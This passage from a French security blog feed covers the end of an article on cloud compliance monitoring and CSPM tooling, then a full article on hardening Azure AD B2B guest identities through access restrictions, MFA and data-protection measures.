<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-18840 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image1.png" alt="" width="1187" height="333" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image1.png 1187w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image1-437x123.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image1-71x20.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image1-768x215.png 768w" sizes="auto, (max-width: 1187px) 100vw, 1187px" /></p>
<ul style="text-align: justify;">
<li><strong>Security infrastructure admin logs : </strong>Il s’agit des logs des appliances de sécurité mais également des services PaaS de sécurité utilisés par le client et des logs des flux réseaux. Pour les appliances, là encore rien de bien nouveau, il s’agit du même composant déjà utilisé et bien connu. En revanche pour les services PaaS de sécurité et les logs réseaux, il est nécessaire de mettre en œuvre une intégration spécifique et d’adapter les scénarios de détection.</li>
</ul>
<ul style="text-align: justify;">
<li><strong>Cloud Infra API logs : </strong>Lors de chaque call API pour créer, modifier ou supprimer une ressource, le Cloud Service Provider va générer un log.</li>
</ul>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-18842 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image2.png" alt="" width="475" height="60" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image2.png 475w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image2-437x55.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image2-71x9.png 71w" sizes="auto, (max-width: 475px) 100vw, 475px" /></p>
<p style="text-align: justify;">Ces logs sont accessibles dans des services managés dédiés tels que AWS CloudTrail, AWS config ou Azure activity log</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Le délai de mise à disposition va dépendre du SLA du CSP, les logs sont généralement disponibles de quelques minutes à 15 minutes après réalisation de l’opération.</p>
<p style="text-align: justify;">Exploiter ces logs va permettre de passer d’une conformité manuelle et statique à une conformité automatique et continue :</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-18844 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image3.png" alt="" width="994" height="294" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image3.png 994w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image3-437x129.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image3-71x21.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image3-768x227.png 768w" sizes="auto, (max-width: 994px) 100vw, 994px" /></p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Quelles options techniques pour construire une Tour de contrôle ?</h2>
<p style="text-align: justify;">Trois grandes options s’offrent à un client qui souhaiterait mettre en œuvre une tour de contrôle :</p>
<ul style="text-align: justify;">
<li><strong>Natif intégré </strong>(built-in)</li>
<li><strong>Natif personnalisé </strong>(custom)</li>
<li><strong>Cloud Security Posture Management </strong>(CSPM)</li>
</ul>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Natif intégré (built-in)</h3>
<p style="text-align: justify;">Dans ce premier cas, les outils activés par défaut par le Cloud Service Provider, parfois gratuitement, utilisant des alertes prédéfinies pour évaluer la conformité de vos environnements et délivrer un score de sécurité sont utilisés.</p>
<p style="text-align: justify;">Par exemple Trusted Advisor sur AWS ou Microsoft Defender for Cloud sur Azure.</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-18848 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image4.png" alt="" width="4116" height="1230" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image4.png 4116w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image4-437x131.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image4-71x21.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image4-768x230.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image4-1536x459.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image4-2048x612.png 2048w" sizes="auto, (max-width: 4116px) 100vw, 4116px" />         </p>
<p style="text-align: justify;">Ces solutions natives et non-personnalisées permettent d’initier une tour de contrôle, mais elles sont cependant rapidement limitées : il s’agit d’une réponse générique à des problématiques spécifiques.</p>
<h3 style="text-align: justify;">Natif personnalisés (custom)</h3>
<p style="text-align: justify;">Les fournisseurs Cloud mettent à disposition de nombreux services permettant aux clients de construire un outil de vérification de la conformité de leur infrastructure : les outils du CSP disponibles sont personnalisés pour créer des alertes de conformité spécifiques et des tableaux de bord/KPIs personnalisés.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18850 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image5.png" alt="" width="984" height="396" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image5.png 984w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image5-437x176.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image5-71x29.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image5-768x309.png 768w" sizes="auto, (max-width: 984px) 100vw, 984px" /></p>
<p style="text-align: justify;">Dans cette option, il est nécessaire de prévoir un projet de 10 à 40 jours hommes pour mettre en œuvre l’infrastructure de supervision, définir les 1<sup>ères</sup> alertes et construire les tableaux de bords.</p>
<p style="text-align: justify;">L’usage de plusieurs tenants, organisations ou Cloud nécessitera de définir une architecture spécifique car il n’existe pas de solution clé en main.</p>
<h3 style="text-align: justify;">CSPM : Cloud Security Posture Management</h3>
<p style="text-align: justify;">Wavestone voit un marché en plein essor. <a href="https://www.marketsandmarkets.com/Market-Reports/cloud-security-posture-management-market-71228949.html">Marketsandmarkets</a> estime que le marché devrait plus que doubler entre 2022 et 2027 en passant de 4,2 milliards de $ à 8,6 milliards de $.</p>
<p style="text-align: justify;">Les CSPM supportent nativement de nombreux Cloud providers et mettent à disposition de leurs clients de nombreux tableaux de bord basés sur les grands référentiels du marché. Le client pourra également définir facilement ses propres standards, politiques et alertes.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18854 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image6.png" alt="" width="1115" height="526" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image6.png 1115w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image6-405x191.png 405w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image6-71x33.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image6-768x362.png 768w" sizes="auto, (max-width: 1115px) 100vw, 1115px" /></p>
<p style="text-align: justify;">Le déploiement de ce type d’outil est très simple, nécessitant que quelques jours hommes.</p>
<p style="text-align: justify;">Les coûts récurrents pourront cependant être significatifs : généralement 3 à 5% de la facture Cloud en plus des services du Cloud à activer (similaire à l’option des services natifs et personnalisés).</p>
<p style="text-align: justify;">La vitesse de détection sera également un peu moins rapide car le SLA du CSPM s’additionne à celui de génération des logs de CSP, généralement un délai de détection de 20 minutes à 1 heure.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Que doit superviser ma Tour de Contrôle ?</h2>
<p style="text-align: justify;">Le problème majeur que rencontrent les clients lors de la mise en œuvre d’un CSPM avec l’activation d’alertes proposées est la génération de dizaines voire de centaines de milliers d’alertes de criticité haute à traiter. Les équipes ne savent pas par quoi commencer et c’est bien souvent le découragement qui l’emporte. Il faut faire attention à ne pas surcharger les équipes de sécurité !</p>
<p style="text-align: justify;">Pour la mise en œuvre d’une tour de contrôle sur un SI Cloud de production, nous recommandons de déployer les contrôles de sécurité par vague de 10 à 15 à la fois. Pour cela, il faut prioriser les sujets les plus importants. Ci-dessous un exemple de priorisation :</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18858 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image7.png" alt="" width="807" height="281" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image7.png 807w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image7-437x152.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image7-71x25.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image7-768x267.png 768w" sizes="auto, (max-width: 807px) 100vw, 807px" /></p>
<p style="text-align: justify;">Malheureusement, à toute règle ses exceptions ! Elles sont principalement liées à l’existant Cloud, à des architectures spécifiques ou des contraintes techniques. Il est donc primordial dès la conception de prévoir ce cas de figure et la gouvernance associée :</p>
<ul style="text-align: justify;">
<li>Validation : par le RSSI local et/ou le RSSI global</li>
<li>Expiration</li>
<li>Revue : décentralisée (localement ou lors d’audits globaux annuels) ou centralisée (par un suivi continu global)</li>
</ul>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">L’utilisation de tag pour les ressources Cloud est la solution la plus simple à ce jour pour le faire &#8211; attention toutefois, certaines ressources peuvent ne pas être compatibles comme les services IAM.</p>
<p style="text-align: justify;">Quel que soit le modèle choisi, les sujets à traiter restent principalement les mêmes :</p>
<ul style="text-align: justify;">
<li>Garantir l’utilisation et l’application légitime des exceptions</li>
<li>Définir des indicateurs spécifiques sur des exceptions pour les sujets à risques du Top Management</li>
<li>Mettre en place des campagnes régulières de suivi des exceptions</li>
<li>Alerter et traiter lorsqu’une exception expire</li>
</ul>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Comment mettre en œuvre un processus de remédiation efficace ?</h2>
<p style="text-align: justify;">La mise en œuvre d’une tour de contrôle va générer de nombreuses alertes, qu’il va falloir corriger. Trois options sont possibles : bloquer, remédier automatique ou manuellement</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18862 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image8.png" alt="" width="924" height="274" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image8.png 924w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image8-437x130.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image8-71x21.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image8-768x228.png 768w" sizes="auto, (max-width: 924px) 100vw, 924px" /></p>
<h3 style="text-align: justify;">Refus (Mode deny)</h3>
<p style="text-align: justify;"><strong>Pourquoi remédier alors qu’il suffit de bloquer préventivement les ressources non-conformes ? </strong></p>
<p style="text-align: justify;">Avec des <a href="https://github.com/Azure/Community-Policy">Azure Policy</a> ou des <a href="https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps.html">AWS SCP</a>, il est possible nativement de bloquer certaines configurations et ainsi éviter la génération de nouvelles alertes.</p>
<p style="text-align: justify;">Pour les cas d’usage non couverts, il est possible de mettre en place des vérifications des templates de déploiement dans les chaines CI/CD (cela nécessite néanmoins une forte maturité).</p>
<p style="text-align: justify;">Déployer un mécanisme de refus – ou deny – sur des environnements existants est rarement implémenté car le risque de générer des mécontentements des équipes de développement est trop fort :</p>
<ul style="text-align: justify;">
<li>Les ressources existantes non conformes ne peuvent plus être modifiées</li>
<li>Cela va générer une charge supplémentaire aux équipes de développement car les habitudes doivent être changées</li>
<li>…</li>
</ul>
<h3 style="text-align: justify;">Remédiation automatique</h3>
<p style="text-align: justify;">Ici, il s’agit de corriger directement et automatiquement les configurations déviantes : attention aux effets de bord !</p>
<p style="text-align: justify;">Pour se faire, il est possible d’utiliser les services natifs des cloud provider (Azure policy ou AWS SSM Manager) ou pour des cas non supportés de développer des fonctions (AWS Lambda, Azure Function ou Azure LogicApps).</p>
<h3 style="text-align: justify;">Manuel</h3>
<p style="text-align: justify;">Il s’agit malheureusement de la solution la plus rencontrée mais aussi la plus coûteuse en ressources humaines. Les configurations déviantes sont remédiées à la main par les équipes.</p>
<p style="text-align: justify;">Pour garantir le succès d’une remédiation manuelle, il est nécessaire d’avoir un appui fort du top management pour assurer l’adhésion et la motivation des équipes.</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="alignleft wp-image-18866 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image9.png" alt="" width="376" height="392" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image9.png 376w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image9-183x191.png 183w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image9-37x39.png 37w" sizes="auto, (max-width: 376px) 100vw, 376px" />La mise en œuvre d’un tableau de bord de type Cloud OWSAP mettant en lumière les priorités du moment est une bonne solution, permettant de responsabiliser chacun sur son périmètre. Chaque sujet mentionné ci-contre pouvant avoir un ou plusieurs indicateurs.</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Avoir l’appui du management n’est cependant pas suffisant, il est nécessaire de connaitre le responsable de la ressource pour lui demander de faire les modifications. Dans un grand groupe international ce n’est pas chose aisée. Notre recommandation est de nommer à minima un <em>security officer </em>par compte/souscription qui devra avoir la connaissance fine des applications et des responsables des ressources.</p>
<p style="text-align: justify;">En parallèle, il est nécessaire de mettre en œuvre un programme de formation et de sensibilisation efficace. Si l’on veut minimiser le nombre d’alertes et éviter de remplir plus vite la baignoire qu’elle se vide, les équipes de développement doivent connaitre et maitriser parfaitement les exigences sécurité à respecter dans le Cloud.</p>
<p style="text-align: justify;">Pour commencer le processus de remédiation, notre conseil est de démarrer de manière centralisée avec une équipe compétente et bien dimensionnée en charge de la mise en œuvre de la tour de contrôle, mais également en charge de mobiliser et former des relais locaux, permettant à terme aux équipes locales de suivre et gérer de façon autonome la conformité sur leur périmètre.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Alerte de conformité ou alerte de sécurité ?</h2>
<p style="text-align: justify;">La majorité des entreprises considère la supervision de la conformité de leurs ressources Cloud comme n’étant pas une responsabilité des équipes SOC. Mais la frontière n’est pas si simple à définir, d’autant plus au vu du nombre d’incidents de sécurité dans le Cloud provenant d’erreurs de configuration : exposition publique d’une ressource de stockage contenant des données critiques, MFA non-configuré sur un compte admin ou encore RDP ou SSH exposés sur internet.</p>
<p style="text-align: justify;">La génération d’une alerte de sécurité au SOC permet de tirer parti des processus et outillages déjà en place, pour un traitement 24h sur 24, 7 jours sur 7 même si les ressources SOC ne sont pas expertes Cloud.</p>
<p style="text-align: justify;">Et finalement, cela sera une bonne occasion de rapprocher les sécurités Cloud et les équipes SOC pour améliorer les supervisions sécurité en l’adaptant à la réalité du cloud. Ce sujet pourra faire l’objet d’un article dédié.</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2022/10/conformite-dans-le-cloud-un-nouveau-paradigme/">Conformité dans le Cloud, un nouveau paradigme</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2022/10/conformite-dans-le-cloud-un-nouveau-paradigme/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Bien gérer les identités « Invités » Azure AD B2B</title>
		<link>https://www.riskinsight-wavestone.com/2022/07/bien-gerer-les-identites-invites-azure-ad-b2b/</link>
					<comments>https://www.riskinsight-wavestone.com/2022/07/bien-gerer-les-identites-invites-azure-ad-b2b/#respond</comments>
		
		<dc:creator><![CDATA[Jules Haddad]]></dc:creator>
		<pubDate>Fri, 29 Jul 2022 13:22:14 +0000</pubDate>
				<category><![CDATA[Cloud & Next-Gen IT Security]]></category>
		<category><![CDATA[Eclairage]]></category>
		<category><![CDATA[Azure]]></category>
		<category><![CDATA[Azure AD]]></category>
		<category><![CDATA[collaboration]]></category>
		<category><![CDATA[Guests]]></category>
		<category><![CDATA[identité]]></category>
		<category><![CDATA[O365]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=18332</guid>

					<description><![CDATA[<p>L’utilisation des identités « invités » pour faciliter la collaboration avec l’externe, mais qui induit des risques pour l’entreprise Le besoin de collaboration avec l’externe : éternel point de souffrance des entreprises Les entreprises ont toujours eu besoin de collaborer entre elles en...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2022/07/bien-gerer-les-identites-invites-azure-ad-b2b/">Bien gérer les identités « Invités » Azure AD B2B</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h1 class="wp-block-heading"><a>L’utilisation des identités « invités » pour faciliter la collaboration avec l’externe, mais qui induit des risques pour l’entreprise</a></h1>



<h2 class="wp-block-heading"><a>Le besoin de collaboration avec l’externe : éternel point de souffrance des entreprises</a></h2>



<p>Les entreprises ont toujours eu <strong>besoin de collaborer</strong> entre elles en partageant des ressources et en échangeant des données. Pour ce faire, leurs collaborateurs doivent être capables <strong>d’interagir en toute sécurité </strong>avec des utilisateurs extérieurs à leur environnement.</p>



<p>Plusieurs <strong>cas d’usages</strong> sont à couvrir, dont un des plus fréquents devient la <strong>collaboration bornée dans le temps avec des partenaires</strong>, des prestataires externes, des fournisseurs ou des clients B2B.</p>



<p>Aussi, il est courant d’observer une <strong>collaboration continue entre filiales</strong> d’un même groupe, qui ont besoin d’avoir accès aux ressources et données de l’entreprise, et qui ne partagent pas nécessairement le même Système d’Information.</p>



<p>Historiquement, la collaboration pouvait se réaliser de plusieurs façons présentant des inconvénients :</p>



<ul class="wp-block-list"><li>Par <strong>échange successifs de mails</strong>, à la fois peu efficaces et entrainant une perte de contrôle de la donnée échangée&nbsp;;</li><li>En <strong>utilisant des solutions dédiées</strong> au partage de document à des tiers, qui s’avèrent coûteuses et peu adaptées d’un point de vue expérience utilisateur&nbsp;;</li><li>En <strong>créant une nouvelle identité dans les systèmes historiques</strong> (Active Directory, etc.), et en dotant les entités tierces de moyens pour accéder au SI de l’entreprise (VPN, machines virtuelles, machines physiques, etc.), ce qui augmentait considérablement la surface d’attaque de l’entreprise.</li></ul>



<h2 class="wp-block-heading"><a>Microsoft a introduit Azure AD B2B pour ce besoin de collaboration</a></h2>



<p>Aujourd’hui, l’usage d’Azure AD B2B permet à deux entités ou plus de <strong>collaborer au sein du tenant Azure de l’entreprise d’accueil</strong>. Les ressources partagées peuvent être des applications, des documents, des sites SharePoint, des OneDrive ou des équipes Teams.</p>



<p>Dans les faits, la solution Azure B2B permet à un utilisateur externe <strong>d’accéder au tenant de l’entreprise d’accueil via son compte habituel </strong>en lui créant une identité «&nbsp;invité&nbsp;» au sein de l’Azure Active Directory (AAD) de l’entreprise.</p>



<p>Le tenant «&nbsp;client&nbsp;» fait alors totalement ou en partie confiance au tenant «&nbsp;externe&nbsp;» pour l’authentification via un mécanisme d’échange de jeton.</p>



<p>Il existe trois possibilités natives pour créer une identité «&nbsp;invité&nbsp;» :</p>



<ul class="wp-block-list"><li>Directement depuis le <strong>portail Azure</strong> ;</li><li>Via un <strong>partage de document</strong> sur OneDrive/SharePoint/Teams ;</li><li>Via l’utilisation de la <strong>graph API.</strong></li></ul>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="934" height="537" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture2.png" alt="" class="wp-image-18335" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture2.png 934w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture2-332x191.png 332w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture2-68x39.png 68w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture2-120x70.png 120w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture2-768x442.png 768w" sizes="auto, (max-width: 934px) 100vw, 934px" /><figcaption>Figure 1 &#8211; Fonctionnement Natif : authentification et création d&rsquo;identité</figcaption></figure>



<p>Au niveau du tenant d’accueil, le propriétaire peut autoriser ou non le partage de données à des externes et également administrer les comptes invités (création, désactivation, suppression…).</p>



<p>Cette solution de collaboration présente un avantage direct&nbsp;: la <strong>facilité d’utilisation</strong> pour les utilisateurs habitués aux environnement Microsoft.</p>



<p>Le deuxième avantage à prendre en compte, est bien évidemment le <strong>coût de la solution</strong>. En effet, une identité «&nbsp;invité&nbsp;» présente une économie de licence&nbsp;: jusqu’à un plafond de 50&nbsp;000 identités «&nbsp;invité&nbsp;», leur licence est gratuite. Au-delà et selon les souscriptions de l’entreprise, une licence pourra coûter entre 0,003€ et 0,015€ / mois / utilisateur, auxquels viennent se rajouter des frais fixes d’un montant de 0,029 € pour chaque tentative d’authentification multi facteur. Cette politique tarifaire est en décalage avec le tarif habituel d’une licence M365&nbsp;: entre 10€ et 50€ / mois / utilisateur selon le plan de licence.</p>



<h2 class="wp-block-heading"><a>Cependant Azure AD B2B présente une configuration par défaut trop ouverte, qui engendre des risques pour l’entreprise</a></h2>



<p>Azure AD B2B introduit plusieurs facteurs qui peuvent induire des <strong>risques</strong>&nbsp;:</p>



<ul class="wp-block-list"><li>La <strong>création des identités</strong> invités est très simple et non contrôlée (pas de responsable pour l’identité, pas de traçabilité, pas de restrictions…)&nbsp;;</li><li>Le <strong>nombre d’identité</strong> invité peut augmenter de façon non contrôlée et il est compliqué de gérer simplement leur cycle de vie&nbsp;;</li><li>L’entreprise ne <strong>maitrise pas la sécurité</strong> du tenant initial de l’identité «&nbsp;invité&nbsp;»&nbsp;;</li><li>Aucune <strong>règle d’accès conditionnel</strong> n’est mise en place par défaut (pas d’authentification forte, pas de restriction d’accès au portail Azure AD, etc.)&nbsp;;</li><li>L’identité «&nbsp;invité&nbsp;» à <strong>accès aux attributs Azure AD</strong> des autres utilisateurs.</li></ul>



<p>Ces facteurs engendrent des risques pour les données de l’entreprise, étant donné qu’une identité «&nbsp;invité&nbsp;» peut avoir des droits sur un nombre important de documents et des informations sur son tenant d’accueil.</p>



<p>On peut considérer deux évènements déclencheurs pour les différents scénarios de menaces&nbsp;:</p>



<ul class="wp-block-list"><li>Une identité «&nbsp;invité&nbsp;» <strong>malveillante</strong>&nbsp;;</li><li>Une identité «&nbsp;invité&nbsp;» <strong>compromise</strong> par un attaquant.</li></ul>



<p>Ensuite, et selon le niveau de configuration et les droits de l’identité «&nbsp;invité&nbsp;», cette dernière aurait l’opportunité de&nbsp;:</p>



<ul class="wp-block-list"><li><strong>Récupérer de la donnée confidentielle</strong>, à laquelle l’identité a accès ;</li><li><strong>Détruire l&rsquo;ensemble des données</strong> accessibles par cette identité&nbsp;;</li><li><strong>Compromettre l’AD</strong> via attribution de rôles à cette identité&nbsp;;</li><li><strong>Réaliser de l’ingénierie sociale</strong> via l’accès à l’ensemble des données des utilisateurs.</li></ul>



<h1 class="wp-block-heading"><a>En fonction du niveau de maturité de l’entreprise et de la volonté de couvrir le risque, il est nécessaire de mettre en œuvre un certain nombre de mesures</a></h1>



<h2 class="wp-block-heading"><a>Pour bien commencer : durcir la configuration par défaut</a></h2>



<h4 class="wp-block-heading">Maitriser les moyens d’ajouter des identités «&nbsp;invité » sur le tenant</h4>



<p>Un des premiers points à traiter est de <strong>couper l’accès au portail Azure</strong> aux collaborateurs non-administrateur de l’entreprise, pour qu’il ne soit plus un vecteur de création d’identités « invité ».</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1132" height="533" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture3.png" alt="" class="wp-image-18337" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture3.png 1132w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture3-406x191.png 406w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture3-71x33.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture3-768x362.png 768w" sizes="auto, (max-width: 1132px) 100vw, 1132px" /><figcaption>Figure 2 &#8211; Restriction accès à la console Azure AD</figcaption></figure>



<p>Il faut noter qu’il est également possible de <strong>restreindre la population pouvant inviter des externes à collaborer</strong>, mais dans les faits cela ne sera pas applicable à toutes les entreprises, et notamment celles qui souhaitent décentraliser la gestion de cette population. En effet le fait de restreindre cette population oblige à créer un service dédié à la création de ces identités, ce qui va à l’encontre du principe même de ce service, qui est de laisser la main aux utilisateurs.</p>



<p>Enfin, il existe une fonctionnalité permettant de <strong>positionner des contraintes sur l’adresse mail des identités «&nbsp;invité&nbsp;»</strong>, via white-list ou black-list de nom de domaine. Cependant avant de se lancer dans ce chantier, il est nécessaire de tenir compte de la complexité de sa mise en œuvre (notamment pour une entreprise qui ne maitrise pas les partenaires avec qui elle collabore), et de la faible réduction du risque associé.</p>



<h4 class="wp-block-heading">Restreindre ce à quoi peuvent avoir accès ces identités</h4>



<p>Il est possible de <strong>restreindre les attributs qui peuvent être consultés</strong> par les identités invités, afin que ces dernières soient dans l’incapacité de récupérer un gros volume d’information sur le tenant d’accueil.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1080" height="432" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture4.png" alt="" class="wp-image-18339" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture4.png 1080w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture4-437x175.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture4-71x28.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture4-768x307.png 768w" sizes="auto, (max-width: 1080px) 100vw, 1080px" /><figcaption>Figure 3 &#8211; Restreindre les accès des identités « invité »</figcaption></figure>



<h2 class="wp-block-heading"><a>Renforcer l’authentification et le contrôle d’accès des identités « invité »</a></h2>



<p>Le mécanisme <strong>d’authentification multi facteur (MFA)</strong> pour une identité «&nbsp;invité&nbsp;» est quasi natif et permet de diminuer le risque d’usurpation par un attaquant. En effet il suffit de mettre en place une <strong>politique d’accès conditionnel</strong> qui cible spécifiquement ces identités «&nbsp;invité&nbsp;», et qui applique le contrôle relatif au MFA.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1104" height="487" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture5.png" alt="" class="wp-image-18341" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture5.png 1104w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture5-433x191.png 433w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture5-71x31.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture5-768x339.png 768w" sizes="auto, (max-width: 1104px) 100vw, 1104px" /><figcaption>Figure 4 &#8211; Authentification multi-facteur</figcaption></figure>



<p>Plusieurs défis viennent néanmoins complexifier cette opération, et sont à prendre en compte</p>



<ul class="wp-block-list"><li>La gestion de la <strong>conduite du changement</strong> sur ces populations «&nbsp;invité&nbsp;» reste complexe à effectuer, même si les opérations d’onboarding des utilisateurs sont simples et guidées&nbsp;;</li><li>La gestion des <strong>processus de réinitialisation</strong> <strong>de second facteur</strong> en cas de perte ou de vol peut être coûteuse et complexe si elle n’est pas maitrisée.</li></ul>



<h2 class="wp-block-heading"><a>Sensibiliser les utilisateurs aux risques et aux bonnes pratiques de collaboration</a></h2>



<p>La complexité majeure de la solution Azure AD B2B est <strong>l’absence de mécanisme de gestion des identités «&nbsp;invités »</strong>. Les utilisateurs sont donc les <strong>principaux acteurs</strong> de la stratégie de gestion, et doivent être sensibilisés au bon niveau, en insistant sur&nbsp;:</p>



<ul class="wp-block-list"><li>Les <strong>bonnes pratiques de collaboration</strong>&nbsp;: dans quel cas doivent-ils utiliser la solution, comment créer un invité, etc&nbsp;;</li><li>La <strong>bonne gestion de leurs accès</strong>&nbsp;: ils doivent être supprimés dès que possible afin d’éviter un accès illégitime ultérieur&nbsp;;</li><li>La <strong>désactivation des identités lorsqu’elles ne sont plus utilisées</strong>, en particulier pour les prestataires / partenaires, en insistant sur le fait que les documents produits ne sont pas perdus.</li></ul>



<h2 class="wp-block-heading"><a>Protéger la donnée à laquelle peut avoir accès les invités</a></h2>



<p>Il ne faut pas non plus oublier de protéger la donnée à laquelle peut avoir accès un invité légitime, ce qui donne lieu à plusieurs mesures&nbsp;:</p>



<ul class="wp-block-list"><li>Il est possible de mettre en place des contraintes pour les identités «&nbsp;invité&nbsp;» via des <strong>règles d’accès conditionnels</strong>&nbsp;: utilisation obligatoire des clients légers (clients web), ayant pour effet d’empêcher la synchronisation des données et prérequis à des mesures avancées que nous verrons ensuite, l’interdiction du téléchargement des données, contraintes sur les terminaux à utiliser&nbsp;;</li><li>Si l’entreprise a déployé l’outil de classification AIP (Azure Identity Protection), une autre solution peut être la <strong>création d’une étiquette de confidentialité</strong> chiffrant la donnée pour les identités «&nbsp;invité&nbsp;». Cette étiquette pourra également servir à restreindre certaines actions pour cette population&nbsp;: restriction des modifications (via les permissions associées), restriction du téléchargement (via une règle DLP), etc.</li></ul>



<p>Pour aller plus loin, un <strong>Cloud Access Security Broker</strong> (comme Microsoft Defender for Cloud Apps de Microsoft) peut permettre la mise en place de règles avancées et ciblées comme par exemple&nbsp;: empêcher le téléchargement sur des espaces Sharepoint spécifiques.</p>



